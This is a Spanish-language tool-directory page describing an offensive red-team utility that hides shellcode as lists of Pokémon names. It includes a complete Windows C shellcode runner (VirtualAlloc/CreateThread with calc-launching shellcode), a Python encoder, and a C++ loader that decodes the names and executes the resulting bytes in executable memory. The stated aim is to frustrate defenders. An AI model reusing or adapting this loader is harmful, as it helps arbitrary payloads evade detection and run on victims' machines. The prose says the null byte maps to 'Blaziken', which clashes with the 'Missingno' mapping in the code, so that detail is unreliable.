Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Pokemon-Shellcode-Loader — ¿Cansado de mirar hex todo el día y soltar '\x41'? ¿Prefieres mirar a Lugia/Charmander? Tengo la solución para ti. | Kitploit
Herramientas/GitHubGitHub/techryptic/pokemon-shellcode-loader
Generación de PayloadsShellcodeRed TeamingGeneración de ShellcodeDesarrollo de PayloadsAtaque Adversario
GitHubtechryptic/pokemon-shellcode-loader

Pokemon-Shellcode-Loader

¿Cansado de mirar hex todo el día y soltar '\x41'? ¿Prefieres mirar a Lugia/Charmander? Tengo la solución para ti.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
1281440hace 4 añosRevisado por Kitploit
Compartir

Pokémon Shellcode Loader

¿Cansado de mirar hexadecimal todo el día y de soltar '\x41's? ¿Prefieres mirar a Lugia/Charmander? Tengo la solución para ti. Llegó un tweet de @Checkymander sobre crear un cargador de shellcode a partir de nombres de Pokémon. Un proyecto muy divertido para molestar al equipo azul, pero no había un POC! (o al menos cuando lo comprobé por última vez)

Nota #1 El código actualizado estará en mi GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader

Nota #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode

Nota #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader

Carguemos algunas instrucciones

Hay varias formas de hacerlo: Si observamos un shellcode, es una serie de valores hexadecimales de 0x00 a 0xFF, o en forma decimal de 0 a 256. Resulta que hay muchos más de 256 Pokémon entre los que podemos elegir.

Al observar la tabla de Pokémon anterior, podemos traducir BULBASAUR, que es el #001, a 0x01 (eliminando el primer cero). Del mismo modo, CHARMANDER se representará como 0x04 y así sucesivamente. El afortunado byte nulo 0x00 puede alinearse con el Pokémon #257, ¡BLAZIKEN!

Convertir shellcode a Pokémon-Shellcode es sencillo. ¿Qué tal convertir Pokémon-Shellcode a Ensamblador? ¿Queremos tener un Array dentro del .ASM? ¿Código C? ¿Descargarlo externamente?

¡Hay muchas direcciones que tomar!

Array o no Array

Necesitamos datos. Primero, encontré dos áreas que contienen tanto el número del Pokémon como su nombre:

https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6

Y otra que solo tiene el nombre del Pokémon. Esta puede ser más útil porque podemos obtener la posición del índice del array para un Pokémon en particular sin tener que arrastrar una cadena larga.

https://github.com/sindresorhus/pokemon/blob/main/data/en.json

¿Cuál es la línea base?

Estoy tomando un shellcode POP CALC normal y lanzándole algo de C.

root@kitploit:~
#include <windows.h>

void main() {
    void* exec;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // Shellcode
    unsigned char payload[] =
		"\x50\x53\x51\x52\x56\x57\x55\x89"
		"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
		"\x63\x66\x68\x78\x65\x68\x57\x69"
		"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
		"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
		"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
		"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
		"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
		"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
		"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
		"\x50\x1c\x01\xda\x89\x55\xec\x8b"
		"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
		"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
		"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
		"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
		"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
		"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
		"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
		"\x31\xd2\x52\x68\x2e\x65\x78\x65"
		"\x68\x63\x61\x6c\x63\x68\x6d\x33"
		"\x32\x5c\x68\x79\x73\x74\x65\x68"
		"\x77\x73\x5c\x53\x68\x69\x6e\x64"
		"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
		"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
		"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
    unsigned int payload_len = 205;
    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(exec, payload, payload_len);
    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, -1);
}

Nada mal. No está haciendo nada malicioso, pero aun así... nada mal.

Shellcode -> Pokemon_Shellcode

Un script simple convierte un objeto de bytes de shellcode en el Pokémon Shellcode.

root@kitploit:~
import json

shellcode = (b"\x41\x42\x20\x43")

#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
	Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))

Tomando el shellcode anterior:

\x00\x31\xc0\x50\x68\x2f\x2F

Se convierte en:

Dato curioso: quería mantener el nombre del Pokémon alineado con su número (BULBASAUR = #1, o 0x01), por lo que necesitaba llenar el byte 0x00/nulo con algo. ¿Qué encaja mejor que MISSINGNO?!

Otro problema es que el Pokémon Farfetch'd tiene un apóstrofo, como se muestra abajo. La solución fácil es simplemente eliminarlo y llamarlo: Farfetchd

Finalmente, también hay dos Pokémon que comparten el mismo nombre una vez que eliminas los símbolos; la solución para esos dos fue añadir una F (de femenino), y para el otro añadir una M (de masculino).

Función C++

root@kitploit:~
#include <iostream>
#include <string>
#include <Bits.h>
using namespace std;

// Created by: Techryptic
// @Tech

string indexNumberToHexa(int number);
void reverse_String(string& str, int last_index, int starting_index);
void printAscii(unsigned char* index_to_hexa_array, int counter_s);

int main()
{
    string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };

    /// Do not edit below
    string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };

    int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
    int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
    //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
    //assumtion that all poke_shellcode elements exist in pokemon
    int* index = new int[size2];
    int index_counter = 0;
    for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one
        for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one
            if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal
                index[index_counter] = j;                       //saving index
                index_counter++;
                break;                                          //stoping inner loop
            }
        }
    }
    //for storing hex values of indexes
    unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
    int counter_s = 0;
    for (int i = 0; i < index_counter; i++) {
        string value = "";
        value += "\\x";
        if (index[i] < 10) {
            value += "0";
        }
        value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array
        for (int k = 0; k < (int)value.length(); k++) {
            index_to_hexa_array[counter_s] = value[k];
            counter_s++;
        }
    }
    std::string payload;
    index_to_hexa_array[counter_s] = '\0';
    printAscii(index_to_hexa_array, counter_s);

    delete[]index; //freeing memory
    delete[]index_to_hexa_array;
    index = nullptr;  //reseting the index pointer
    index_to_hexa_array = nullptr;
    return 0;
}

void reverse_String(string& str, int last_index, int starting_index) {
    if (last_index <= starting_index) { return; }
    swap(str[starting_index], str[last_index]);
    reverse_String(str, last_index - 1, starting_index + 1);
}
string indexNumberToHexa(int number) {
    string hexavalue = "";
    while (number != 0) {
        int remainder = number % 16;
        if (remainder < 10) {   //number 0-9
            hexavalue += remainder + 48;
        }
        else {//alphabet A-F
            hexavalue += remainder + 55; //converting number to alphabet
        }
        number = number / 16;
    }
    reverse_String(hexavalue, hexavalue.length() - 1, 0);
    return (hexavalue != "" ? hexavalue : "0");
}
void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
    string sc;
    for (int i = 2; i < counter_s; i++) {
        if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
            string vt; // hex ex: 01
            vt.push_back(index_to_hexa_array[i]);
            vt.push_back(index_to_hexa_array[i + 1]);
            //cout << (char)stoul(vt, nullptr, 16);
            unsigned char n = (char)stoul(vt, nullptr, 16);
            sc += n;
            i++;
        }
    }
    sc += '\0'; // adding nullbyte to string to mimic array
    //std::cout << "The size is " << sc.size() << " bytes.\n";
    DWORD oldprotect = 0;
    void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, sc.c_str(), sc.size());
    ((void(*)())exec)();
}

Conclusión

Eso, esa es la conclusión. El mismo código pero usando Pokémon da un resultado mucho mejor de lo que pensaba.

Al final, sigue siendo una batalla entre Red vs. Blue

Descargar herramienta